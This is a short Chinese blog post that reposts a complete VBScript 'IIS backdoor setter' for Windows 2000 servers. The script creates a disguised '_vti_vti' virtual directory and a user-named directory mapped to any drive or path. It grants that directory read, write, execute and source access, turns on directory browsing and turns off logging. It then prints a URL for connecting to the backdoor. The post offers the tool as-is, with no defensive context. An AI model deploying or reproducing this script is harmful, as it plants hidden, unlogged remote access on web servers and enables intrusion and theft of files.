IIS后门设置器

IIS后门设置器

2008-05-14 09:06:32

　标签： IIS后门 设置器　　　 [ 推送到技术圈]

版权声明：原创作品，如需转载，请与作者联系。否则将追究法律责任。

整理以前的资料时看到的，最早的iis后面控制器。 help1="IIS后门设置器 FOR WIN2000 BY 动鲨  3月3号2004 年" help2="请输入正确的虚拟目录名称和映射的路径,格式如下" help3="   cscript.exe iis.vbs 虚拟目录的名称  映射的路径" help4="例如: cscript.exe iis.vbs lh e:\" set Args = Wscript.Arguments  if args.count < 2 then     wscript.echo help1     wscript.echo ""     wscript.echo help2     wscript.echo ""     wscript.echo help3     wscript.echo ""     wscript.echo help4     wscript.quit  end if strVRName=args(0) ''虚拟目录名称 strRootPath=args(1) ''虚拟目录路径 Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root")   For each VR in checkVirtualDir    if VR.Name="_vti_vti" Then      foundt ="yes"    else      foundt= "no"    End If   Next if foundt ="yes" then   wscript.echo "发现已经创建了lhxy目录，正在设置自定义的虚拟目录"   creatvdir else   wscript.echo "正在创建lhxy目录，以及自定义文件夹，请等待！"   creatlhxy   creatvdir end if wscript.echo "你创建的虚拟目录名称是"& strVRName &"，映射的文件夹是 " & strRootPath &"。" wscript.echo "请访问 [url]http://IP/lhxy/[/url] "& strVRName &"/ 来连接后门!" wscript.echo "恭喜!后门设置全部完成!" sub creatlhxy()     Set objDir=GetObject("IIS://LocalHost/W3SVC/3/Root")        Set myDir=objDir.Create("IISWebVirtualDir","_vti_vti")         myDir.AccessRead=true         myDir.DefaultDoc=mydir.DefaultDoc         myDir.AppIsolated=0         myDir.AccessExecute=true         myDir.DontLog=true         myDir.AccessSource=true         myDir.EnableDirBrowsing=true         myDir.setinfo end sub sub creatvdir()     Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root/_vti_vti")       Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)        VirDir.AccessRead=true        VirDir.Path=strRootPath        VirDir.DefaultDoc=""        VirDir.AccessExecute=true        VirDir.AccessWrite=true        VirDir.AccessSource=true        VirDir.AppIsolated=0        VirDir.DontLog=true        VirDir.EnableDirBrowsing=true        VirDir.appcreate 0        VirDir.CreateProcessAsUser=0        VirDir.setInfo end sub wscript.quit